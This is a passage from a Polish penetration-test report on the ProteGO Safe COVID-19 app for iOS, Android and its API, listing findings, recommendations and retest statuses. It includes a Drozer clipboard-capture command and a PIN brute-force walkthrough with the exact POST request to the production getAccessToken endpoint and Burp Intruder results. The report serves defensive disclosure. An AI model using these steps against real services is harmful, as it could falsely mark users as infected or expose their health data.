SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Zrzut ekranu zawierajgcy wrazliwe dane medyczne:

Brak 02:56 [C_
< Powrét "B ProteGO Safe

Dziennik zdrowia

Wpis z dnia: 20.06.2020r.

Temperatura Katar

38 Brak

Kaszel Dreszcze

Brak Brak

B6l miesni Miejsce i

Brak kontakty
Metryka

Palenie: Grupa krwi:

nie B+

1A = Q ©

Home Porady Pytania i odp. Wiecej

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme iOS (4.2.0).

REKOMENDACIA

Zaleca sie wdrozy¢ mechanizm, ktory wyeliminuje mozliwo$s¢ wykonywania zrzutéw ekranu
i nagrywania filméw w momencie, gdy uzytkownik korzysta z aplikacji.




STATUS PO RETESCIE (09.07.2020)

Zalecenie nie zostatlo wdrozone.

W aplikacji poddanej retestom nadal istnieje mozliwo$¢ nagrywania filméw oraz wykonywania
zrzutow ekranu.

Klient podjgt prébe wdrozenia rekomendacji blokowania wykonywania zrzutéw ekranu, jednakze ze
wzgledu na specyfike dziatania najnowszych wersji iOS proby te nie powiodty sie.

STATUS PO RETESCIE (17.07.2020)

Zalecenie zostalo czesciowo wdrozone.

Analiza wykazata, iz zablokowano mozliwo$¢ nagrywania tylko w momencie, gdy aplikacja jest juz
wigczona. W przypadku wytgczenia i wigczenia aplikacji nie zostajg natozone zadne ograniczenia.



[NOT IMPLEMENTED] [INFO] PROTEGO_SAFE-MOB-10S-007: Ujawnianie
nadmiarowych informacji w ciggach znakow aplikacji

oriIs

Testowana aplikacja zawiera w ciggach znakéw nadmiarowe informacje, m.in. o Sciezce na
komputerze jednego z deweloperéw. Takie zachowanie moze pomoc atakujgcemu w lepszym
sprofilowaniu srodowiska aplikacji, co moze zosta¢ nastepnie wykorzystane do przeprowadzania
dalszych atakéw.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

n/a

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad: Sciezka na komputerze jednego z deweloperéw

Fragment ciggow znakow wewnatrz aplikaciji (plik
/private/var/containers/Bundle/Application/F1397E80-A750-45EC-A334-

175986C74688/safesafe.app/safesafeﬁ

[..]

TtC8safesafel3ConfigManager /Users/lukaszs[..]/Documents/@projekty ios/ProteGO Safe
Github/Private/safesafe/Services/ConfigManager.swift Can't read value

[..]

gs"8 _TtC8safesafel7PWAViewController v20@0:8B16 webKitView onAppear preferredStatusBarStyle
Tq,N,R /Users/lukasz[..]/Documents/@projekty_ios/ProteGO Safe
Github/Private/safesafe/Components/PWA/PWAViewController.swift WKNavig

[..]

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme iOS (4.2.0).

REKOMENDACIA

Zaleca sie usuniecie informacji o sciezkach z pliku aplikaciji.

STATUS PO RETESCIE (09.07.2020)

Zalecenie nie zostato wdrozone.
Aplikacja poddana retestom nadal zawiera petne Sciezki plikow.

Klient podjat prébe wdrozenia rekomendacji, jednakze udato sie wyeliminowac¢ wytgcznie kilka
z wielu miejsc ujawniania sciezek.

STATUS PO RETESCIE (17.07.2020)

Zalecenie nie zostalo wdrozone.



Aplikacja poddana retestom nadal zawiera petne Sciezki plikow.

securiTum +48 (12) 361 3337

securitum@securitum.pl

www.securitum.pl
www.sekurak.pl
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[NOT APPLICABLE] [INFO] PROTEGO_SAFE-MOB-I0S-008: Wdrozenie
nagtéowkow odpowiadajgcych za Cache aplikacji PWA

oriIs

W odpowiedziach aplikacji PWA nie zidentyfikowano wdrozonych nagtéwkoéw, ktére odpowiadajg za
uniemozliwienie zapisywania danych zwigzanych z aplikacjg trwale w pamieci tymczasowej. Do
takich nagtowkow HTTP nalezy zaliczyc¢:

e Cache-Control
e Pragma

e Last-Modified
e Expires

Cache-Control jest nagtdowkiem zawierajgcym okreslone dyrektywy dla mechanizmu cachowania,
ktore majg instruowac: czy, jak i ktére elementy powinny zostaC przechowywane w pamieci
tymczasowej. Pomimo, iz czes¢ dyrektyw moze by¢ uzywana rowniez w zapytaniu HTTP, to zaleca
sie jednak gtéwne skupienie na odpowiedzi HTTP.

Pragma w przypadku wykorzystania dyrektywy "no-cache" oznacza te samg instrukcje co "Cache-
Control: no-cache" - czyli wymusza, aby przed pobraniem kopii strony z cache, bylo wystane
zapytanie i tym samym pobranie aktualnej wersji — uniemozliwia to zapisanie danych w cache.

Last-Modified zawiera doktadng date i czas w ktdrym ostatnio zmodyfikowano dany zasob sieciowy
- wartos¢ powinna zawsze odpowiadac aktualnemu czasowi.

Expires zawiera date, czas lub wartos¢, ktora okresla kiedy odpowiedz serwera nie jest juz wazna.
Czesto wykorzystywane wartosci w postaci daty przesziej albo "0" oznaczajg, ze zasob nie jest juz
aktualny.

Wiecej informacji dotyczacych wdrozenia nagtéwkow cachujgcych mozna znalez¢ pod adresem:
e https://wiki.owasp.org/index.php/Testing for Browser cache weakness (OTG-AUTHN-

006)
e https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html

e https://cwe.mitre.org/data/definitions/524.html

e https://cwe.mitre.org/data/definitions/525.html

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme iOS (4.2.0) - aplikacia PWA
(/private/var/containers/Bundle/Application/F1397E80-A750-45EC-A334-
1759B6C7468B/safesafe.app/pwa/firebase.json).




REKOMENDACIA

Zaleca sie rozwazenie wdrozenia ponizszych nagtdéwkow do pliku ,firebase.json™:

Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

Last-Modified: {obecny_czas} GMT

Expires: Tue, 07 Jul 2001 07:00:00 GMT

Wiecej informacii:
e https://developers.google.com/web/fundamentals/performance/optimizing-content-
efficiency/http-caching?hl=pl

STATUS PO RETESCIE (09.07.2020)

Zalecenie nie zostatlo wdrozone.

W aplikacji poddanej retestom plik ,firebase.json” nie istnieje.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Wskazany plik, ktérego dotyczy rekomendacja, zostat usuniety z projektu wraz z rozwojem
rozwigzania na w petni lokalng wersje PWA.




[NOT APPLICABLE] [INFO] PROTEGO_SAFE-MOB-I0S-009: Wdrozenie
nagtéwka Referrer-Policy dla aplikacji PWA

oriIs

Zidentyfikowano, ze aplikacja PWA nie korzysta z nagtéwka HTTP Referrer-Policy.

Nagtdwek ten pozwala okresli¢, jaka informacja ma by¢ umieszczana w nagtéwku Referer
wysytanym w zapytaniach HTTP. Istnieje mozliwos¢ catkowitego wylgczenia wysytania tego
nagtowka, co z kolei moze pozwoli¢ unikng¢ wyciekéw danych do zewnetrznych serwerdow.

Wiecej informaciji:

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy

https://scotthelme.co.uk/a-new-security-header-referrer-policy/

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme iOS (4.2.0) - aplikacia PWA
(/private/var/containers/Bundle/Application/F1397E80-A750-45EC-A334-
1759B6C7468B/safesafe.app/pwalfirebase.json).

REKOMENDACIA

W pliku ,firebase.json” powinien znajdowac sie nagtowek Referrer-Policy:

Referrer-Policy: [wartosc]

Gdzie w miejscu [wartosé] powinna znajdowac sie jedna z ponizszych wartosci:

no-referrer: nagtdéwek referer nie bedzie nigdy wysytany w zapytaniach,

no-referrer-when-downgrade: nagtdwek Rreferer nie jest wysytany, jesli wykonywane jest
zapytanie wychodzace z protokotu HTTPS do protokotu HTTP.

origin: w nagtdwku Referer umieszczany jest wyigcznie “origin” witryny odsytajacej.

origin-when-cross-origin: nagtowek referer zawiera petny URL przy zapytaniach w ramach
tego samego originu.

STATUS PO RETESCIE (09.07.2020)

Zalecenie nie zostatlo wdrozone.

W aplikacji poddanej retestom plik ,firebase.json” nie istnieje.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.




Zgodnie z otrzymang informacjg od zespotu Klienta:

Wskazany plik, ktérego dotyczy rekomendacja, zostat usuniety z projektu wraz z rozwojem
rozwigzania na w petni lokalng wersje PWA.




securitum

Podatnosci w aplikacji mobilnej (Android)

+48 (12) 361 3337 www.securitum.pl
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[NOT VERIFIED] [LOW] PROTEGO_SAFE-MOB-ANDROID-001: Brak
wymogu podania kodu PIN do zalogowania sie w aplikacji

oriIs

Aplikacja nie wymusza podania kodu dostepu do urzgdzenia (np. kod blokady ekranu) w celu
uwierzytelnienia uzytkownika. Atakujgcy, ktory uzyska dostep do urzgdzenia uzytkownika, bedzie
maogt uruchomi¢ aplikacje uzytkownika-ofiary i dziata¢ w jego imieniu (m.in. pozna¢ wynik ,Testu
oceny ryzyka” oraz dziennik zdrowia).

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Fizyczny dostep do urzadzenia.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Aplikacja nie wymaga podania kodu PIN. Po jej uruchomieniu od razu widoczny jest panel
uzytkownika:

A 33 7 .4100%M0 01:05

Z Monitorowanie ryzyka: wigczone

Securitum,

mozliwym kontakcie z
koronawirusem ~
przeanalizowat Twoje dane.
Twéj wynik to: Wysokie
ryzyko infekcji.

Modut powiadamiania o 0
~

7\

Przebywates/as blisko osoby chorej
na Covid-19. Jestes w Grupie
Wysokiego Ryzyka. Niezwtocznie

skontaktuj sie z Parnstwowa
Inspekcja Sanitarng dzwoniac na
specjalny numer: 222 500 115.

/\ Zadzwon na infolinig
% 222500 115

=

Porady Pytania i odp. Wiecej

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme Android (4.2.0).

securiTum +48 (12) 361 3337 www.securitum.pl
securitum@securitum.pl www.sekurak.pl
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REKOMENDACIA

Aplikacja, podczas uruchamiania, powinna wymusza¢ na uzytkowniku podawanie kodu
dostepowego (np. PIN/hasto) na urzadzeniu mobilnym. Pozwoli to na podniesienie poziomu
bezpieczehstwa urzgdzen mobilnych, na ktérych instalowana jest aplikacja. Nowoczesne mobilne
systemy operacyjne posiadajg wtgczone szyfrowanie danych, gdy wtgczony jest kod blokady ekranu.

STATUS PO RETESCIE (09.07.2020)

Punkt nie byt weryfikowany.

Zgodnie z informacjg otrzymang od zespotu Klienta, w kolejnych etapach prac rozpatrzona zostanie
mozliwos¢ implementacji wskazanej rekomendacji.

STATUS (17.07.2020)

Ponizej zaprezentowano uzupetnienie poprzednich informaciji otrzymanych od zespotu Klienta:

W obecnej wersji aplikacji nie zdecydowano sie na wprowadzenie wskazanej rekomendacji ze
wzgledu na to, Ze moze mie¢ negatywny wplyw na uzywalnos$¢ aplikacji (poprzez notoryczne
odpytywanie o kod PIN, niektore osoby z grupy docelowej mogg miec problemy z wprowadzaniem
ciggu znakéw). W kolejnych etapach prac rozpatrzona zostanie mozliwo$¢ implementacji
zalecenia, poprzedzona analizg i dyskusjg jej wptywu na odbior aplikacji.




[NOT IMPLEMENTED] [INFO] PROTEGO_SAFE-MOB-ANDROID-002:
Przechowywanie nadmiarowych danych na urzadzeniu mobilnym

oriIs

Aplikacja mobilna przechowuje w pamieci masowej urzgdzenia mobilnego nadmiarowe dane, ktére
mogg utatwi¢ napastnikom przeprowadzanie innych atakéw.

Na urzadzeniu w postaci jawnej przechowywane sg dane:

e Token dostepowy (authToken),
e Token stuzgcy do odswiezenia tokenu dostepowego (refreshToken).

W czasie testow nie wykryto, aby tokeny byty uzywane przez aplikacje - nalezy zweryfikowac, czy
powinny one znajdowac sie na urzadzeniu.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Fizyczny dostep do urzadzenia lub uprawnienia root.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Ponizej przedstawiono przyktadowe dane pozyskane z niezaszyfrowanego pliku JSON (plik
/data/data/pl.gov.mc.protegosafe/files/PersistedInstallation.WORFRKFVTFRdA+MToONjY30Dc30Tg5Nzg6YW5

kcm9pzDpjNjzkMzEzZDhiMjh10GRFMWEXMDVi. json), W ktorej znajdujg sie m.in. token dostepowy (authToken)
oraz token stuzacy do od$wiezenia sesji (refreshToken):

{"Fid":"cC[..]BI","Status":3,"AuthToken":"ey[..]139.ey[..]n0.AB[..]Wg", "RefreshToken":"2_mH[..]Gh", "Tok
enCreationEpochInSecs":1592415854, "ExpiresInSecs":604800}

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme Android (4.2.0):

e Plik JSON:
/data/data/pl.gov.mc.protegosafe/files/PersistedInstallation.WORFRkFVTFRd+MToONjY30Dc30Tg5
Nzg6YW5kcm9pZDpjNjZkMzEzZDhiMjh1OGRJMWEXMDVi. json

e Baza danych SQLite: /data/data/pl.gov.mc.protegosafe/app_webview/Web data

e Baza danych SQLite:
/data/data/pl.gov.mc.protegosafe/app_webview/no_backup/androidx.work.workdb

REKOMENDACIA

Na urzadzeniu nie powinien by¢ przechowywany token uzytkownika w jakiejkolwiek postaci (jawnej,
zaszyfrowanej ani zahaszowanej). Bazy danych SQLite powinny by¢ zaszyfrowane, a dostep do
nich powinien by¢ zabezpieczony hastem.

STATUS PO RETESCIE (09.07.2020)




Podatnosé¢ nie zostata wyeliminowana.

Zgodnie z informacjg otrzymang od zespotu Klienta, dane przechowywane sg przez Firebase SDK
i nie ma mozliwosci wptywu na nie.

STATUS (17.07.2020)

Poziom ryzyka podatnosci zostal zmieniony na informacyjny z uwagi na modernizacje
i zmiane sposobu dzialania aplikaciji.



[NOT VERIFIED] [LOW] PROTEGO_SAFE-MOB-ANDROID-003: Mozliwos¢
kopiowania danych z aplikacji do schowka

oriIs

W aplikacji mozliwe jest korzystanie z funkcji schowka (ang. clipboard), ktory jest wspétdzielony
przez wszystkie aplikacje zainstalowane na urzgdzeniu. Uzytkownik moze skopiowac dowolne dane
znajdujgce sie w aplikacji do schowka, przez co inne aplikacje bedg miaty dostep do potencjalnie
wrazliwych danych uzytkownika.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Zainstalowanie na urzgdzeniu ztosliwej aplikacji przechwytujgcej zawartosé schowka.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Z uzyciem modutu clipboard aplikacji Drozer mozliwe byto podstuchanie danych skopiowanych do
schowka:

dz> run post.capture.clipboard

[*] Clipboard value: Securitum,

przeanalizowalismy Twoje odpowiedzi. Wynik testu z 17-06-2020 kwalifikuje Cie do grupy: Niskie
ryzyko infekcji.

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme Android (4.2.0).

REKOMENDACIA

Zaleca sie wytaczy¢ funkcje schowka w miejscach, w ktérych przetwarzane sg i wyswietlane
wrazliwe dane.

STATUS PO RETESCIE (09.07.2020)

Punkt nie byt weryfikowany.

Zgodnie z informacjg otrzymang od zespotu Klienta, w kolejnych etapach prac rozpatrzona zostanie
mozliwos¢ implementacji wskazanej rekomendacji.

STATUS (17.07.2020)

Ponizej zaprezentowano uzupetnienie poprzednich informaciji, otrzymanych od zespotu Klienta:

W obecnej wersji aplikacji nie zdecydowano sie na wprowadzenie wskazanej rekomendacji ze
wzgledu na to, ze moze mie¢ negatywny wptyw na uzywalno$c aplikacji (poprzez zablokowanie
mozliwosci skopiowania do schowka istotnych informacji podawanych przez aplikacje jak
zalecenia ogdlne czy dane teleadresowe stacji sanitarno-epidemiologicznych i szpitali zakaznych,




do ktoérych kontakt jest podany w aplikacji). W kolejnych etapach prac rozpatrzona zostanie
mozliwo$c implementacji zalecenia, poprzedzona analizg i dyskusjg jej wptywu na odbiér aplikacji.




[NOT APPLICABLE] [INFO] PROTEGO_SAFE-MOB-ANDROID-004: Brak
zaciemniania kodu

oriIs

Analiza wykazata, ze aplikacja nie zaciemnia w zaden sposéb kodu (ang. code obfuscation).
Korzystajgc z tego faktu, atakujgcy moze doktadnie przeanalizowa¢ kod zrédiowy, w tym poufne
informacije i lepiej pozna¢ dziatanie aplikacji.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogoiny
poziom bezpieczenstwa rozwigzania.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do pliku APK aplikaciji.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Ponizej znajduje sie potwierdzenie braku zaciemnienia kodu:

- pOilplgonpOl2meproes 4 pOllplgov.p0l2me.protegosafe.scheduler.ProvideDiagnosisKeyWorker _____ *
> 1 data
o import p011pl.gov.p012mc.protegosafe.domain.repository.DiagnosisKeyRepository;
> 1 databinding X . . A .
) import p011pl.gov.p012mc.protegosafe.domain.repository.ExposureNotificationRepository;
> i domain import p011pl.gov.p012mc.protegosafe.domain.usecase.DiagnosisKeysFileNameToTimestampUseCase;
> £ executor
> {1 extension /* compiled from: ProvideDiagnosisKeyWorker.kt */
> B loggin /* renamed from: pl.gov.mc.protegosafe.scheduler.ProvideDiagnosisKeyWorker */
99ing public final class ProvideDiagnosisKeyWorker extends RxWorker implements KoinComponent {
> manager public final Lazy diagnosisKeyRepository$delegate;
> £ mapper public final Lazy exposureNotificationRepository$delegate;
> 3 model pu::!c gna: Lazy provideDia?nosisl_(eysUseC_ase$c:je|legate;
> 2 p0l5di public final Lazy remoteConfigurationRepository$ delegate;
> £ p016ui public ProvideDiagnosisKeyWorker(Context context, WorkerParameters workerParameters) {
> £ receiver 1 if (context == null) {
v scheduler (65 Itrll::rinsics.tltllrowParameterIsNuIIException("appContext“);
o row null;
> © ApplicationTaskSched 1 } else if (workerParameters != null) {
> ® ProvideDiagnosisKey 1 super(context, workerParameters);
> ® ProvideDiagnosisKeyW 2 this.exposureNotificationRepository$ delegate = KotlinDetector.lazy(LazyThreadSafetyMode.NONE, new Prov
> ® ProvideDiagnosisKeyW 3 th!s.provideDiagnosisl_(eysUsngse$delegate = KotIi_nDetectur.Iazy(LazyThreadSafetyMode.NONE, new Provi
® R . . 4 this.remoteConfigurationRepository$delegate = KotlinDetector.lazy(LazyThreadSafetyMode.NONE, new Prov
> ProvideDiagnosisKeyW 5 this.diagnosisKeyRepository$Sdelegate = KotlinDetector.lazy(LazyThreadSafetyMode.NONE, new ProvideDiac
» ® ProvideDiagnosisKeyW }else {
» @ ProvideDiagnosisKeyW 6 Intrinsics.throwParameterlsNullException("workerParameters");
> © RemoveOldExposures' 6 } throw null;
> ® RemoveOIldExposures' }
> © RemoveOIldExposures'
> 3 service public static final /* synthetic */ void access$finalizeDiagnosisKeyProviding(Provide DiagnosisKeyWorker providel
> B K 1 Comparable comparable = null;
worker 1 if (provideDiagnosisKeyWorker != null) {
> © App 1 Arraylist arrayList = new ArrayList();
> © App$$special$ $inlined$il
LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme Android (4.2.0).

REKOMENDACIA

Zaleca sie stosowanie petnego zaciemnienia kodu w wersji produkcyjnej aplikaciji.

STATUS PO RETESCIE (09.07.2020)




Punkt nie byt weryfikowany.

Zgodnie z otrzymang informacjg od zespotu Klienta, rekomendacje nie zostaty wdrozone z uwagi na
zatozenia biznesowe.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Kod aplikacji zostat otwarty i udostepniony publicznie, w zwigzku z czym jego zaciemnianie nie
wptywa na zwigekszenie bezpieczeristwa aplikacji i zostato pominiete celowo.




[NOT APPLICABLE] [INFO] PROTEGO_SAFE-MOB-ANDROID-005:
Wdrozenie nagtéwkow odpowiadajgcych za Cache aplikacji PWA

oriIs

W odpowiedziach aplikacji PWA nie zidentyfikowano wdrozonych nagtéwkoéw, ktére odpowiadajg za
uniemozliwienie zapisywania danych zwigzanych z aplikacjg trwale w pamieci tymczasowej. Do
takich nagtowkow HTTP nalezy zaliczyc¢:

e Cache-Control
e Pragma

e Last-Modified
e Expires

Cache-Control jest nagtdowkiem zawierajgcym okreslone dyrektywy dla mechanizmu cachowania,
ktore majg instruowac: czy, jak i ktore elementy powinny zostaC przechowywane w pamieci
tymczasowej. Pomimo, iz czes¢ dyrektyw moze by¢ uzywana rowniez w zapytaniu HTTP, to zaleca
sie jednak gtéwne skupienie na odpowiedzi HTTP.

Pragma w przypadku wykorzystania dyrektywy "no-cache" oznacza te samg instrukcje co "Cache-
Control: no-cache" - czyli wymusza, aby przed pobraniem kopii strony z cache, bylo wystane
zapytanie i tym samym pobranie aktualnej wersji — uniemozliwia to zapisanie danych w cache.

Last-Modified zawiera doktadng date i czas w ktdrym ostatnio zmodyfikowano dany zasob sieciowy
- wartos¢ powinna zawsze odpowiadac aktualnemu czasowi.

Expires zawiera date, czas lub wartos¢, ktora okresla kiedy odpowiedz serwera nie jest juz wazna.
Czesto wykorzystywane wartosci w postaci daty przesziej albo "0" oznaczajg, ze zasob nie jest juz
aktualny.

Wiecej informacji dotyczacych wdrozenia nagtéwkow cachujgcych mozna znalez¢ pod adresem:
e https://wiki.owasp.org/index.php/Testing for Browser cache weakness (OTG-AUTHN-

006)
e https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html

e https://cwe.mitre.org/data/definitions/524.html

e https://cwe.mitre.org/data/definitions/525.html

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme Android (4.2.0) - aplikacja PWA
(/pl.gov.mc.protegosafe/assets/pwalfirebase.json).

REKOMENDACIA




Zaleca sie rozwazenie wdrozenia ponizszych nagtéwkow do pliku ,firebase.json™:

Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

Last-Modified: {obecny_czas} GMT

Expires: Tue, 07 Jul 2001 07:00:00 GMT

Wiecej informaciji:
e https://developers.google.com/web/fundamentals/performance/optimizing-content-
efficiency/http-caching?hl=pl

STATUS PO RETESCIE (09.07.2020)

Zalecenie nie zostatlo wdrozone.

W aplikacji poddanej retestom plik ,firebase.json” nie istnieje.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Wskazany plik, ktérego dotyczy rekomendacja, zostat usuniety z projektu wraz z rozwojem
rozwigzania na w petni lokalng wersje PWA.




[NOT APPLICABLE] [INFO] PROTEGO_SAFE-MOB-ANDROID-006:
Wdrozenie nagtéwka Referrer-Policy dla aplikacji PWA

oriIs

Zidentyfikowano, ze aplikacja PWA nie korzysta z nagtéwka HTTP Referrer-Policy.

Nagtdwek ten pozwala okresli¢, jaka informacja ma by¢ umieszczana w nagtéwku Referer
wysytanym w zapytaniach HTTP. Istnieje mozliwos¢ catkowitego wylgczenia wysytania tego
nagtowka, co z kolei moze pozwoli¢ unikng¢ wyciekéw danych do zewnetrznych serwerdow.

Wiecej informaciji:

e https://developer.mozilla.org/en-US/docs/\Web/HTTP/Headers/Referrer-Policy

e https://scotthelme.co.uk/a-new-security-header-referrer-policy/

LOKALIZACIA

Aplikacja mobilna ProteGo Safe na platforme Android (4.2.0) — aplikacja PWA
(/pl.gov.mc.protegosafe/assets/pwalfirebase.json).

REKOMENDACIA

W pliku ,firebase.json” powinien znajdowac sie nagtowek Referrer-Policy:

Referrer-Policy: [wartosc]

Gdzie w miejscu [wartosé] powinna znajdowac sie jedna z ponizszych wartosci:

e no-referrer: nagtdwek referer nie bedzie nigdy wysytany w zapytaniach,

¢ no-referrer-when-downgrade: nagtowek Referer nie jest wysytany, jesli wykonywane jest
zapytanie wychodzace z protokotu HTTPS do protokotu HTTP.

e origin: w nagtdwku Referer umieszczany jest wytgcznie “origin” witryny odsytajgce;.

e origin-when-cross-origin: nagtdwek referer zawiera petny URL przy zapytaniach w ramach
tego samego originu.

STATUS PO RETESCIE (09.07.2020)

Zalecenie nie zostatlo wdrozone.

W aplikacji poddanej retestom plik ,firebase.json” nie istnieje.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:




Wskazany plik, ktérego dotyczy rekomendacja, zostat usuniety z projektu wraz z rozwojem
rozwigzania na w petni lokalng wersje PWA.
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[PARTIALLY IMPLEMENTED] [INFO] PROTEGO_SAFE-API-GAT-001:
Ominiecie ograniczen prob PIN oraz mozliwos¢ wykonania ataku
sitowego na formularz PIN

(0]

Analiza wykazata, iz aplikacja oraz APl w Zzaden sposéb nie ogranicza ilosci btednie
przeprowadzanych prob wprowadzania PIN. Atakujacy przesytajac wielokrotnie formularz do
serwera jest w stanie przeprowadzi¢ atak typu ,Brute Force” i tym samym probowac tamaé PIN — co
w efekcie moze prowadzi¢ do potencjalnie fatszywego oznaczenia telefonu jako ,zarazony Covid-
19”. Szanse atakujgce sg zwiekszone wraz ze wzrostem aktywnych PIN w danym czasie.

Aplikacja z poziomu interfejsu ogranicza podawanie PIN do 3 lub 5 prob, natomiast wykorzystujac
API mozemy ominag¢ te ograniczenie.

Podatno$¢é zostata oszacowana na poziomie informacyjnym z uwagi na ograniczenia czasowe
pomiedzy wpisywaniem kolejnych prob PIN wynoszgce 7 sekund oraz faktem, iz PIN sg wazne do
30 minut.

Wiecej informaciji:

e https://owasp.org/www-community/attacks/Brute force attack

e https://wiki.owasp.org/index.php/Testing for Brute Force (OWASP-AT-004)

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Wykorzystanie duzej ilosci adreséw IP lub ominiecie ograniczeh Cloudflare Rate Limiting

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

W celu przeprowadzenie ataku typu ,brute force” niezbedne jest wykonanie ponizszych krokéw:

1. Przejscie do formularza ,Przekaz dane” wysytania PIN znajdujgcego sie w menu ,Moje
dane”.

2. Wprowadzenie dowolnego PIN, np. ,123123”
3. Atakujacy rozpoczyna enumeracjg i wprowadza potencjainy PIN.
4. Kontynuacja enumeracji i wprowadzanie kolejnych kombinacji PIN przez atakujgcego.

Proces moze zostat w cato$ci zautomatyzowany. Wystarczy, Zze atakujgcy wykorzysta aplikacje typu
Burp Suite (modut ,Intruder) lub napisze skrypt, ktory bedzie wysytat ponizsze zgdanie:




[ NON ) Intruder attack 4
j Results TTarget T Positions T Payloads T Options ]

| Filter: Showing all items l@
Request v | Payload | Status | Error | Timeout | Length | Comment

120 Idaaaa 404 @] )] 811 A
119 kdaaaa 404 @) O 811 )
118 jdaaaa 404 @] )] 811

117 idaaaa 404 O )] 811

116 hdaaaa 404 @] )] 811

115 gdaaaa 404 O )] 811

114 fdaaaa 404 @] )] 811

113 edaaaa 404 @] )] 811

112 ddaaaa 404 (] UJ 811

111 cdaaaa 404 @] )] 811

110 bdaaaa 404 (] UJ 811

109 adaaaa 404 @] )] 811

108 9caaaa 404 O O 811 -
107 Rcaaaa 404 (] [ {11 M

J Raw T Headers T Hex TJSON T CSTC ]

15 X-Content-Type-Options: nosniff
16 X-Powered-By: Express

17 Server: cloudflare

18 Content-Length: 57

>

19

20 {"error":{"message":"Invalid code","status":"NOT_ FOUND"}} v
@@ | [n ‘ Search... 0 matches \n Pretty ]

Paused | | 1

W trakcie testow przeprowadzono 120 nieudanych prob, podajgc nieprawidiowy kod (na zotto
zaznaczono miejsce enumerowania PINu):

POST /getAccessToken HTTP/1.1
Host: gat.safesafe.app
Content-Type: application/json
Connection: close

Accept: */*

Accept-Language: pl-PL;g=1.0
Content-Length: 26
Accept-Encoding: gzip, deflate

{"data":{"code":"123ABC"}}

Kolejne wystane zgdanie numer 121 potwierdza brak zablokowania mozliwosci podawania PIN i
prezentuje zakonczenie procesu sukcesem:

19:06

"L ProteGo Safe

Dzigkujemy,

ze myslisz o bezpieczenstwie innych
Informacje zostaty przestane.

securnTum +48 (12) 361 3337 www.securitum.pl

securitum@securitum.pl www.sekurak.pl

48



LOKALIZACIA

https://gat.safesafe.app/getAccessToken

REKOMENDACIA

Zaleca sie, aby po 5 nieudanych prébach, odstep pomiedzy kolejnymi wynosit, ok. 15 sekund.
Ponadto, warto rozwazy¢ zwiekszenie dtugosci PIN do 8 znakdéw alfanumerycznych.

Nalezy upewnic sie, ze istnieje zapasowy mechanizm, ktéry zapewni Rate Limiting i ograniczenia
w momencie odkrycia przez potencjalnego atakujgcego adresu IP znajdujgcego sie za infrastrukturg
Cloudflare.

Wiecej informaciji:

e https://owasp.org/www-community/controls/Blocking Brute Force Attacks

STATUS PO RETESCIE (09.07.2020)

Zalecenie zostalo czesciowo wdrozone.

Aktualnie czas pomiedzy kolejnymi probami wynosi ponad 10 sekund. Diugos¢ kodu PIN nie zostata
zwiekszona do zaproponowanych 8 znakow.



[NOT APPLICABLE] [INFO] PROTEGO_SAFE-API-GAT-002: Ujawnianie
nadmiarowych informacji o sSrodowisku w nagtowkach odpowiedzi HTTP

oriIs

Testowana aplikacja zwraca w nagtdwkach odpowiedzi HTTP nadmiarowe informacje
o wykorzystywanych technologiach. Takie zachowanie moze pomodc atakujgcemu w lepszym
sprofilowaniu srodowiska aplikacji, co moze zosta¢ nastepnie wykorzystane do przeprowadzania
dalszych atakéw.

Wiecej informaciji:

e https://wiki.owasp.org/index.php/Testing for Web Application Fingerprint (OWASP-IG-
004)

e https://github.com/OWASP/OWASP-Testing-Guide/wiki/4.2.2-Fingerprint-Web-Server-
(OTG-INFO-002)

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

W zalezno$ci od oprogramowania i wykorzystanej podatnosci

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad odpowiedzi HTTP z nadmiarowymi nagtowkami:

HTTP/1.1 503 Service Temporarily Unavailable
Server: nginx/1.16.1

Date: Sat, 20 Jun 2020 16:06:58 GMT
Content-Type: text/html

Content-Length: 197

Connection: close

<html>

<head><title>503 Service Temporarily Unavailable</title></head>
<body>

<center><h1>503 Service Temporarily Unavailable</h1></center>
<hr><center>nginx/1.16.1</center>

</body>

</html>

LOKALIZACIA

https://gat.safesafe.app/getAccessToken

REKOMENDACIA

